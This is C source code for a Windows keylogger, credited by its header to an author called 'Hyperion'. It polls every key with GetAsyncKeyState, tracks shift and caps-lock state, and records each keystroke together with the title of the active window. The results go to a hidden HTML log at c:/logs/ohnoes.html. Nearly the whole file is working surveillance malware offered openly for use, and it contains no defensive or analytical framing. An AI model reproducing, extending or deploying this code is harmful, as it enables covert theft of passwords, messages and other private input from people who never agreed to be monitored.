/* THIS CODE WAS MADE BY ANASTASIOS MITRELIS AKA HYPERION
*/
#define _WIN32_WINNT 0x0501
#include <stdio.h>
#include <windows.h>
#include <string.h>
#define OFF 0
#define ON 1
int RenewFile(FILE *a,char path[],char headere[]);
void close_key(void); // It closes the SHIFT key if it's on. (The shift key is treated as caps lock for some reason.
void print_arrows(int a, FILE *b); // prints arrows with letters. i.e right arrow will be stored as [RA]
void print_key(int a, FILE *b); // this function is used to store/use characters like Newline and Backspace
int main()
{
FILE *wp;
HANDLE window,current_window;
unsigned char a,winlen,test,key[21] = { ')', '!', '@', '#', '$', '%', '^', '&', '*', '(',':','+','<', '_' ,'>' ,'?', '~','{','|','}','"'};
unsigned char key2[11] = {';','=',',','-','.','/','`','[','\\',']','\''};
long int b,c,d=0;
char path[20],cwindow[300],*headers = "<html><body bgcolor = \"black\"><font color = \"blue\"><h1>START LOGGING FROM HERE</h1></font><br />";
char *window_headers = "\n<b><font size=\"4\"><font color = \"red\">Active Window </font></font></b><u><font size=\"4\"><font color = \"blue\"><b><u>";
char *window_headere = "</font></font></b></u><br />";
char *logs = "<font size = \"3\"><font color = white>";
char *loge = "</font></font><br />";
char *headere = "</body></html>";
strcpy(path,"c:/logs");
CreateDirectory(path,NULL);
strcat(path,"/ohnoes.html");
short int CAPS_STATE,SHIFT_KEY,i,q;
CAPS_STATE = SHIFT_KEY = OFF;
if (GetKeyState(VK_SHIFT) == 1)
close_key(); /* As i said the shift key is treated as caps. So if someone pressed it once
before the code was executed, GetKeyState will treat is as "toggled on".
Thus i make sure to close it, if it's "on" */
wp = fopen(path,"a+b");
fwrite(headers,strlen(headers),1,wp);
while(1)
{
test=0;
current_window = GetForegroundWindow();
winlen = GetWindowText(current_window,cwindow,300);
if(winlen != 0)// the taskbar returns a value of 0
{
fwrite(window_headers,strlen(window_headers),1,wp);
fwrite(cwindow,strlen(cwindow),1,wp);
fwrite(window_headere,strlen(window_headere),1,wp);
}
window = current_window;
while(current_window == window)
{
current_window = GetForegroundWindow();
if(test == 0)
{
fwrite(logs,strlen(logs),1,wp);
test++;
}
if ( i == 110) // the i variable increese verytime a key is stored.
{ // i myself find it annoying having to scroll forward to read in text documen
fprintf(wp,"<br />"); // so i took care of it :P
i=0;
}
for (a = 0; a <= 225; a++)
{
if ((c = GetAsyncKeyState(a)) == -32767 && a > 31 && a < 225)
{
if (CAPS_STATE == OFF && a >= 65 && a <=90 && SHIFT_KEY == OFF) // it has to be lowercase
{
fprintf(wp,"%c",a+32);
i++;
}
else if (SHIFT_KEY == ON && a >= 65 && a <=90 && CAPS_STATE == ON) // lower case :P it's like - * - = +
{
fprintf(wp,"%c",a+32);
i++;
}
else if (SHIFT_KEY == ON && a >= 65 && a <=90) // SHIFT_KEY == CAPS with letters, so uppercase ;)
{
SHIFT_KEY = OFF;
fprintf(wp,"%c",a);
i++;
}
else if(SHIFT_KEY == ON) // IF SHIFT is pressed and 1 is pressed to, it will print ! etc
{
if (a > 47 && a < 58)
{
for(q = 48,d = 0;q < a;q++,d++);
fprintf(wp,"%c",key[d]);
d=0;
}
else if (a >= 0xBA && a <= 0xC0)
{
for (q = 0xBA,d = 10; q < a; q++,d++);
fprintf(wp,"%c",key[d]);
d=0;
}
else if (a >= 0xDB && a <= 0xDF)
{
for(q = 0xDB,d = 17; q < a;q++,d++);
fprintf(wp,"%c",key[d]);
d=0;
}
}
else if (a >= 0x25 && a <= 0x28)
{
print_arrows(a,wp);
i++;
}
else
{
if (a >= 0xBA && a <= 0xC0)
{
for (q = 0xBA,d = 0; q < a ; q++,d++);
fprintf(wp,"%c",key2[d]);
d=0;
}
else if(a >= 0xDB && a <= 0xDF)
{
for(q = 0xDB,d = 7; q < a;q++,d++);
fprintf(wp,"%c",key2[d]);
d=0;
}
else if (a >= 31 && a <=90)
fprintf(wp,"%c",a);
i++;
}
}
else if ( c == -32767)
{
print_key(a,wp);
i++;
}
}
if (( b = GetKeyState(VK_CAPITAL)) == 1 && CAPS_STATE == OFF) // 1 means it's toggled on.
CAPS_STATE = ON;
else if ( b == 0 && CAPS_STATE == ON)
CAPS_STATE = OFF;
if ((b = GetKeyState(VK_SHIFT)) == -127 && SHIFT_KEY == OFF) // -127 means HELD DOWN. I
SHIFT_KEY = ON; // I used %d with printf
// To check the value of to figure that out */
else if (b == 1)
{
SHIFT_KEY = OFF; // You see we pressed and held shift, while it was toggled of. So when we release it
close_key(); //The pc will see it was toggled on. So i close it again heh.
}
}
fwrite(loge,strlen(loge),1,wp);
if((RenewFile(wp,path,headere)) == 1)
fwrite(headers,strlen(headers),1,wp);
}
return 0;
}
void close_key(void)
{
INPUT input[2];
memset(input, 0, sizeof(input));
input[0].type = INPUT_KEYBOARD;
input[0].ki.wVk = VK_SHIFT;
input[0].ki.dwFlags = 0;
input[0].ki.time = 0;
input[0].ki.dwExtraInfo = 0;
input[1].type = INPUT_KEYBOARD;
input[1].ki.wVk = VK_SHIFT;
input[1].ki.dwFlags = KEYEVENTF_KEYUP;
input[1].ki.time = 0;
input[1].ki.dwExtraInfo = 0;
SendInput(2,input,sizeof(INPUT));
}
void print_arrows(int a, FILE *b)
{
if(a == VK_LEFT)
fprintf(b," [LA] ");
else if (a == VK_RIGHT)
fprintf(b," [RA] ");
else if (a == VK_UP)
fprintf(b," [UA] ");
else
fprintf(b," [DA] ");
}
void print_key (int a, FILE *b)
{
if (a == VK_RETURN)
fprintf(b,"\n");
else if(a == VK_BACK)
fprintf(b," [BS] ");
}
int RenewFile(FILE *a, char path[],char headere[])
{
long int i=0;
short d=0;
fseek(a,0,SEEK_END);
i = ftell(a);
if( i < 0)
{
fwrite(headere,strlen(headere),1,a);
fclose(a);
a = fopen(path,"w");
fclose(a);
a = fopen(path,"a+");
d = 1;
}
return d;
}